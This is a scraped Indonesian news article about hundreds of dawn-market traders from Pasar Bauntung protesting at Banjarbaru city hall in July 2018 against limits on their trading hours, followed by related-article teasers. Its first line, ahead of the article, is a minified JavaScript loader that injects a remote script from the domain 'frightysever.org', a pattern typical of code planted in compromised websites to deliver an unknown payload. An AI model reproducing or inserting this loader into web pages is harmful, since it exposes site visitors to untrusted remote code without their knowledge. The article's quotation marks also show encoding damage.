(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dibatasi berdagang hanya sampai pukul 09.00 Wita, ratusan pedagang alias pelapak subuh di Pasar Bauntung Banjarbaru melakukan aksi sampaikan aspirasi ke halaman Balaikota Banjarbaru, Senin (30/7) pagi.
Gusti Irwan, Ketua Pedagang Pasar Subuh di Pasar Bauntung Banjarbaru mengatakan, tujuan aksi di halaman Balaikota Banjarbaru adalah untuk bertemu langsung dan menyampaikan kepada Walikota Banjarbaru Nadjmi Adhani, terkait pengaduan atas penertiban yang dilakukan oleh Dinas Perdagangan Banjarbaru dalam beberapa hari terakhir ini.
“Kedatangan kami ke sini untuk menyampaikan keluhan, selama ini kami dibatasi untuk berdagang hanya sampai pukul sembilan pagi saja, kami meminta penertiban berdagang PKL hingga pukul sembilan dihentikan, kami bayar retribusi setiap harinya, dan tidak pernah ngutang, kasiani kami,†serunya di halaman Balaikota Banjarbaru.
Menurut Irwan, Dinas Perdagangan Banjarbaru disebutnya, melakukan kekeliruan dalam hal penertiban pedagang pasar subuh di Pasar Bauntung Banjarbaru, karena bertentangan dengan Peraturan Walikota Banjarbaru nomor 48 tahun 2017 tentang pemberlakuan tarif retribusi pelayanan pasar dan retribusi pasar pertokoan.
“Berdasarkan peraturan tertulis yang sah tersebut, kami percaya bahwa penertiban tersebut tidak dibenarkan untuk dilakukan,†ujarnya.
Sementara itu, berdasarkan upaya peraturan penertiban yang dilakukan selama ini, mereka menyetujui namun diminta tidak tebang pilih.
“Kami pedagang pasar subuh merasakan akibat penertiban Dins Perdagangan dari tanggal 9 Juli sampai tanggal 25 Juli 2018 berdampak buruk secara pisikologis dan banyak yang mengalami kerugian material cukup besar. Kami memohon kepada pemerintah kota Banjarbaru memberi kelonggaran kepada kami pedagang pasar subuh,†pungkasnya.
Aksi penyampaian aspirasi di Balaikota dijaga puluhan Satpol PP dan personil Polres Banjarbaru. Sayangnya saat aksi aspirasi berlangsung Walikota Banjarbaru Nadjmi Adhani tidak ada di Balaikota karena menghadiri penyambutan obor api Asian Games di Bandara Syamsudin Noor. Para pelapak subuh bersikeras tidak mau pulang dan akan terus menunggu hingga Walikota datang dan menghampiri mereka.
Setelah berjam-jam para aksi demo yang rela menunggu Walikota yang masih ada kesibukan dengan berbagai agenda yang ada sedari pagi akhirnya terbayarkan, tepatnya pukul 12.30 Wita Walikota Banjarbaru Nadjmi Adhani mendatangi mereka. Sebanyak 10 orang menghadap untuk bertemua dengan Nadjmi Adhani di Balaikota Banjarbaru. (rendy)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.